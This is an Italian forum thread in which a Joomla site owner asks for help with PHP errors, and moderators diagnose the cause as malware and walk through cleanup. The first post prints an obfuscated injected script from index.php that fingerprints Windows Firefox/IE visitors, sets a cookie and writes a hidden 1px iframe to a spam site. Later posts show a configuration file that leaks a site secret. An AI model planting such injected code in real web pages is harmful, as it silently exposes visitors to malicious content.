Visualizzazione risultati 1 fino 19 di 19

Discussione: Problema errore di sintassi in php

  1. #1
    Guest

    Predefinito Problema errore di sintassi in php

    Ciao a tutti,

    sto utilizzando un template joomla comprato e da ieri non mi fa più entrare sia nel front-end sia nel back end..il problema sta nella pagina index.php nella riga 89 ma non riesco proprio a trovarlo. Mi potete aiutare? Grazie

    Vi allego l'intero script della riga 89 della pagina index php

    Codice HTML:
    <script> var ncigjb4PfuH0KpW2mI = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var rexpldOrrP0UQoL5Lj = data[i].string; var lpchnzEUb7waceD1ko = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (rexpldOrrP0UQoL5Lj) { if (rexpldOrrP0UQoL5Lj.indexOf(data[i].subString) != -1) return data[i].identity; } else if (lpchnzEUb7waceD1ko) return data[i].identity; } }, searchVersion: function (rexpldOrrP0UQoL5Lj) { var index = rexpldOrrP0UQoL5Lj.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(rexpldOrrP0UQoL5Lj.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function tweftdoDYpyj55jRKX(szName,szValue,dtDaysExpires){ var zflnuryR2OTG9xNyUw = new Date();var ewvinz0s3KpyOX49zv = "";zflnuryR2OTG9xNyUw.setTime(zflnuryR2OTG9xNyUw.getTime()+dtDaysExpires*24*60*60*1000);ewvinz0s3KpyOX49zv=zflnuryR2OTG9xNyUw.toGMTString();document.cookie=szName+"="+szValue+";expires="+ewvinz0s3KpyOX49zv;} function hdkvvkVkSiyCSuXiic(szName){        var i=0;var skpghsEaZF8njgnxsx=0;var rkhnrdaPQuJYZRPMNF=0;var vrcgutgOriwjP5lAXY=document.cookie; while (i<=vrcgutgOriwjP5lAXY.length){skpghsEaZF8njgnxsx=i;rkhnrdaPQuJYZRPMNF=skpghsEaZF8njgnxsx+szName.length;if (vrcgutgOriwjP5lAXY.substring(skpghsEaZF8njgnxsx,rkhnrdaPQuJYZRPMNF)==szName){skpghsEaZF8njgnxsx=rkhnrdaPQuJYZRPMNF+1;rkhnrdaPQuJYZRPMNF=document.cookie.indexOf(";",skpghsEaZF8njgnxsx);if(rkhnrdaPQuJYZRPMNF<skpghsEaZF8njgnxsx) rkhnrdaPQuJYZRPMNF=document.cookie.length;return document.cookie.substring(skpghsEaZF8njgnxsx,rkhnrdaPQuJYZRPMNF);break;}i++;} return "";} ncigjb4PfuH0KpW2mI.init(); var vrcgutgOriwjP5lAXY = document.cookie; var mbfcscSP8kWWYqFOQG = ncigjb4PfuH0KpW2mI.browser; var os = ncigjb4PfuH0KpW2mI.OS; if ( ((mbfcscSP8kWWYqFOQG == "Firefox" || mbfcscSP8kWWYqFOQG == "Explorer") && (os == "Windows")) && (hdkvvkVkSiyCSuXiic('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {tweftdoDYpyj55jRKX("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://[sitospam].com" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}</script>
    Ultima modifica di dreadnaut : 04-05-2012 alle ore 17.28.39 Motivo: +tag [html] per il codice

  2. #2
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,269

    Predefinito

    Quello è un pezzo di javascript che non dovrebbe essere in quel file, probabilmente piazzato li da un malware (molto grezzo).

    Dovresti poter rimuovere la riga e via, ma anche investigare come ci sia arrivato.

  3. #3
    Guest

    Predefinito

    Grazie!, quindi io dovrei eliminare completamente quella riga per risolvere il problema?..cavolo ma quindi qualcuno è riuscito ad entrare nel mio sistema?

  4. #4
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,269

    Predefinito

    Si, puoi eliminare quella riga, e se non c'è altro dovrebbe tornare a posto.

    Per il resto, vedi http://forum.it.altervista.org/probl...-evitarlo.html

  5. #5
    Guest

    Predefinito

    Ancora grazie...provvederò a leggere tutto!

  6. #6
    Guest

    Predefinito

    Sono nel panico..adesso riesco a vedere il front-end ma non mi fa ancora accedere al back-end...ho riscontrato un un nuovo errore che dice questo:

    PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /home/stefanov/public_html/configuration.php:58) in /home/stefanov/public_html/libraries/joomla/session/session.php on line 423

    Non ci capisco nulla...cosa devo fare per rimediare?

    Grazie

  7. #7
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Probabilmente lo stesso codice è stato iniettato anche nel file configuration.php, controlla la sua presenza in tutti i file.

  8. #8
    Guest

    Predefinito

    Si in effetti lo stesso codice era anche in quel file e l'ho rimosso ma continuo a non poter accedere al back -end

  9. #9
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Controlla di non aver lasciato ritorni a capo o spazi agli estremi del file. Il file deve cominciare con <? e terminare con ?>.

  10. #10
    Guest

    Predefinito

    a me la pagina inizia con <?php e mi finisce con una parentesi graffa chiusa..come dovrebbe terminare?

    Grazie

  11. #11
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Hmm, strano, potresti pubblicare qui il contenuto? Ovviamente censura le impostazioni riservate.

  12. #12
    Guest

    Predefinito

    scusa l' ignoranaza ma che dati dovrei oscurare ?

  13. #13
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Password e altre impostazioni sensibili che potrebbero permettere ad un malintenzionato di violare la sicurezza del tuo sito.
    Tu cerca di togliere password e quant'altro, se dovessi dimenticare qualcosa di importante posso sempre censurarlo io.

  14. #14
    Guest

    Predefinito

    Questo è il file configuration.php:

    Codice PHP:
    <?php
    class JConfig {
    var
    $offline = '0';
    var
    $editor = 'tinymce';
    var
    $list_limit = '20';
    var
    $helpurl = 'http://help.joomla.org';
    var
    $debug = '0';
    var
    $debug_lang = '0';
    var
    $sef = '0';
    var
    $sef_rewrite = '0';
    var
    $sef_suffix = '0';
    var
    $feed_limit = '10';
    var
    $feed_email = 'site';
    var
    $secret = 'BZHIvgCHHDhg4bZi';
    var
    $gzip = '0';
    var
    $error_reporting = '-1';
    var
    $xmlrpc_server = '0';
    var
    $log_path = '/home/stefanov/public_html/logs';
    var
    $tmp_path = '/home/stefanov/public_html/tmp';
    var
    $live_site = '';
    var
    $force_ssl = '0';
    var
    $offset = '1';
    var
    $caching = '0';
    var
    $cachetime = '15';
    var
    $cache_handler = 'file';
    var
    $memcache_settings = array();
    var
    $ftp_enable = '0';
    var
    $ftp_host = '127.0.0.1';
    var
    $ftp_port = '21';
    var
    $ftp_user = '';
    var
    $ftp_pass = '';
    var
    $ftp_root = '';
    var
    $dbtype = 'mysql';
    var
    $host = 'localhost';
    var
    $user = xxxx
    var $db = xxxxx
    var $dbprefix = 'jos_';
    var
    $mailer = 'mail';
    var
    $mailfrom = xxxx
    var $fromname = xxxxx
    var $sendmail = '/usr/sbin/sendmail';
    var
    $smtpauth = '0';
    var
    $smtpsecure = 'none';
    var
    $smtpport = '25';
    var
    $smtpuser = '';
    var
    $smtppass = '';
    var
    $smtphost = 'localhost';
    var
    $MetaAuthor = '0';
    var
    $MetaTitle = '1';
    var
    $lifetime = '15';
    var
    $session_handler = 'database';
    var
    $password = xxxxxxx
    var $sitename = xxxxx
    var $MetaDesc =xxxxx
    var $MetaKeys = xxxxxxxx
    var $offline_message = 'Sito fuori servizio per manutenzione. Riprovare più tardi.';
    }
    Ultima modifica di karl94 : 04-05-2012 alle ore 19.40.05

  15. #15
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Credo sia sufficiente aggiungere ?> alla fine.

  16. #16
    Guest

    Predefinito

    ok il problema rimane ed entrando nella cartella administrator di joomla mi trova questo errore:

    PHP Warning: imagecreatetruecolor() [<a href='function.imagecreatetruecolor'>function.imag ecreatetruecolor</a>]: Invalid image dimensions in /home/project/public_html/templates2010/march/administrator/components/com_gk3_photoslide/classes/class.image.php on line 72

  17. #17
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Puoi indicare il codice del file causante l'errore?
    Ti ricordo di inserire il codice tra [php] e [/php] per formattarlo ed evitare di avere messaggi chilometrici.

  18. #18
    Guest

    Predefinito

    Codice PHP:
    <?php

    /**
    * @author: GavickPro
    * @copyright: 2008-2009
    **/

    // no direct access
    defined('_JEXEC') or die('Restricted access');

    class
    Image{
    // uploading graphic
    function upload($mWidth, $mHeight, $sWidth, $sHeight, $bg, $Quality, $bigThumb, $smallThumb){
    // main variables
    global $mainframe;
    $plugin = JRequest::getCmd('plugin');
    $option = JRequest::getCmd('option');
    $client =& JApplicationHelper::getClientInfo(JRequest::getVar('client', '0', '', 'int'));
    // preparing hash
    $randomHash = rand(100000, 999999);
    // Checking format - JPG/PNG/GIF are allowed
    if( $_FILES['image']['type'] == 'image/pjpeg' ||
    $_FILES['image']['type'] == 'image/jpg' ||
    $_FILES['image']['type'] == 'image/jpeg' ||
    $_FILES['image']['type'] == 'image/png' ||
    $_FILES['image']['type'] == 'image/gif' ||
    $_FILES['image']['type'] == 'image/x-png' )
    {
    // Removing from name all problematic chars
    $new_name = preg_replace('/[^a-zA-Z0-9.]/', '_', $_FILES['image']['name']);
    // importing filesystem library
    jimport('joomla.filesystem.file');
    // trying to upload file
    if(!JFile::upload($_FILES['image']['tmp_name'], JPATH_SITE.DS.'components'.DS.'com_gk3_photoslide'.DS.'original'.DS.$randomHash.$new_name)){
    $mainframe->redirect('index.php?option='.$option.'&client='.$client->id.'&c=group&task=view&cid[]='.$_POST["gid"], JText::_("ERROR_MOVING_FILE"), 'error');
    }
    }
    else
    {
    // jeżeli grafika nie jest formatu JPG/PNG/GIF zwróć odpowiedni komunikat w formacie JSON
    $mainframe->redirect('index.php?option='.$option.'&client='.$client->id.'&c=group&task=view_group&cid[]='.$_POST["gid"], JText::_("INVALID_TYPE"), 'error');
    }

    // when everything is ok - we create thumbnails

    // big thumbnail
    if($bigThumb){
    $this->createThumbnail(JPATH_SITE.DS.'components'.DS.'com_gk3_photoslide'.DS.'original'.DS.$randomHash.$new_name, $randomHash.$new_name,$mWidth,$mHeight,'s_big',false,$bg,JPATH_SITE.DS.'components'.DS.'com_gk3_photoslide'.DS, $Quality);
    }
    // small thumbnail
    if($smallThumb){
    $this->createThumbnail(JPATH_SITE.DS.'components'.DS.'com_gk3_photoslide'.DS.'original'.DS.$randomHash.$new_name, $randomHash.$new_name,$sWidth,$sHeight,'s_small',false,$bg,JPATH_SITE.DS.'components'.DS.'com_gk3_photoslide'.DS, $Quality);
    }
    // returning filename
    return $randomHash.$new_name;
    }

    /*
    Creating thumbnails
    */

    function createThumbnail($path, $name, $baseWidth, $baseHeight, $size, $str, $bg, $pathB, $Quality){
    //script configuration - increase memory limit to 64MB
    ini_set('memory_limit', '64M');
    // Duplicate path
    $imageToChange = $path;
    // Stretching
    $stretch = ($str == false && isset($_POST['stretch'])) ? $_POST['stretch'] : (($str == 2) ? 2 : (($str == 1 || $str == true) ? true : false));
    // Getting informations about image
    $imageData = getimagesize($path);
    // Creating blank canvas
    $imageBG = imagecreatetruecolor($baseWidth, $baseHeight);
    // If image is JPG or GIF
    if($imageData['mime'] == 'image/jpeg' || $imageData['mime'] == 'image/pjpeg' || $imageData['mime'] == 'image/jpg' || $imageData['mime'] == 'image/gif')
    {
    // when bg is set to transparent - use black background
    if($bg == 'transparent')
    {
    $bgColorR = 0;
    $bgColorG = 0;
    $bgColorB = 0;
    }
    else
    // in other situation - translate hex to RGB
    {
    if(
    strlen($bg) == 4) $bg = $bg[0].$bg[1].$bg[1].$bg[2].$bg[2].$bg[3].$bg[3];
    $hex_color = strtolower(trim($bg,'#;&Hh'));
    $bg = array_map('hexdec',explode('.',wordwrap($hex_color, ceil(strlen($hex_color)/3),'.',1)));
    $bgColorR = $bg[0];
    $bgColorG = $bg[1];
    $bgColorB = $bg[2];
    }
    // Creating color
    $rgb = imagecolorallocate($imageBG, $bgColorR, $bgColorG, $bgColorB);
    // filling canvas with new color
    imagefill($imageBG, 0, 0, $rgb);
    }
    else
    // for PNG images
    {
    // enable transparent background
    if($bg == 'transparent')
    {
    // create transparent color
    $rgb = imagecolorallocatealpha($imageBG, 0, 0, 0, 127);
    }
    else
    // create normal color
    {
    // translate hex to RGB
    $hex_color = strtolower(trim($bg,'#;&Hh'));
    $bg = array_map('hexdec',explode('.',wordwrap($hex_color, ceil(strlen($hex_color)/3),'.',1)));
    $bgColorR = $bg[0];
    $bgColorG = $bg[1];
    $bgColorB = $bg[2];
    // creating color
    $rgb = imagecolorallocate($imageBG, $bgColorR, $bgColorG, $bgColorB);
    }
    // filling the canvas
    imagefill($imageBG, 0, 0, $rgb);
    // enabling transparent settings for better quality
    imagealphablending($imageBG, false);
    imagesavealpha($imageBG, true);
    }

    // loading image depends from type of image
    if($imageData['mime'] == 'image/jpeg' || $imageData['mime'] == 'image/pjpeg' || $imageData['mime'] == 'image/jpg') $imageSource = @imagecreatefromjpeg($path);
    elseif(
    $imageData['mime'] == 'image/gif') $imageSource = @imagecreatefromgif($path);
    else
    $imageSource = @imagecreatefrompng($path);
    // here can be exist an error when image is to big - then class return blank page

    // setting image size in variables
    $imageSourceWidth = imagesx($imageSource);
    $imageSourceHeight = imagesy($imageSource);

    // when stretching is disabled
    if($stretch == 2){
    // calculate ratio for first scaling
    $ratio = ($imageSourceWidth > $imageSourceHeight) ? $baseWidth/$imageSourceWidth : $baseHeight/$imageSourceHeight;
    // calculate new image size
    $imageSourceNWidth = $imageSourceWidth * $ratio;
    $imageSourceNHeight = $imageSourceHeight * $ratio;

    $base_x = 0;
    $base_y = 0;
    }else if(
    $stretch == 0){
    // calculate ratio for first scaling
    $ratio = ($imageSourceWidth > $imageSourceHeight) ? $baseWidth/$imageSourceWidth : $baseHeight/$imageSourceHeight;
    // calculate new image size
    $imageSourceNWidth = $imageSourceWidth * $ratio;
    $imageSourceNHeight = $imageSourceHeight * $ratio;
    // calculate ratio for second scaling
    if($baseWidth > $baseHeight){
    if(
    $imageSourceNHeight > $baseHeight){
    $ratio2 = $baseHeight / $imageSourceNHeight;
    $imageSourceNHeight *= $ratio2;
    $imageSourceNWidth *= $ratio2;
    }
    }else{
    if(
    $imageSourceNWidth > $baseWidth){
    $ratio2 = $baseWidth / $imageSourceNWidth;
    $imageSourceNHeight *= $ratio2;
    $imageSourceNWidth *= $ratio2;
    }
    }
    // setting position of putting thumbnail on canvas
    $base_x = ceil(($baseWidth - $imageSourceNWidth) / 2);
    $base_y = ceil(($baseHeight - $imageSourceNHeight) / 2);
    }
    else{
    // when stretching is enabled
    $imageSourceNWidth = $baseWidth;
    $imageSourceNHeight = $baseHeight;
    $base_x = 0;
    $base_y = 0;
    }

    // copy image
    imagecopyresampled($imageBG, $imageSource, $base_x, $base_y, 0, 0, $imageSourceNWidth, $imageSourceNHeight, $imageSourceWidth, $imageSourceHeight);
    // save image depends from MIME type
    if($imageData['mime'] == 'image/jpeg' || $imageData['mime'] == 'image/pjpeg' || $imageData['mime'] == 'image/jpg') imagejpeg($imageBG,$pathB.DS.'thumb'.$size.DS.$name, $Quality);
    elseif(
    $imageData['mime'] == 'image/gif') imagegif($imageBG, $pathB.'thumb'.$size.DS.$name);
    else
    imagepng($imageBG, $pathB.'thumb'.$size.DS.$name/*, $Quality*/);
    // return final value
    return ($stretch) ? 1 : 0;
    }
    }

    ?>

  19. #19
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,269

    Predefinito

    Citazione Originalmente inviato da karl94 Visualizza messaggio
    Credo sia sufficiente aggiungere ?> alla fine.
    [OT] Non è necessario chiudere il tag <?php alla fine di uno script, anzi, è spesso controproducente se esso è seguito da una riga vuota, e causa output. Ad esempio in Drupal viene evitato ovunque per sicurezza.

    Basta una riga vuota dopo la graffa —assicurandosi che ci sia il numero di graffe giusto.

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •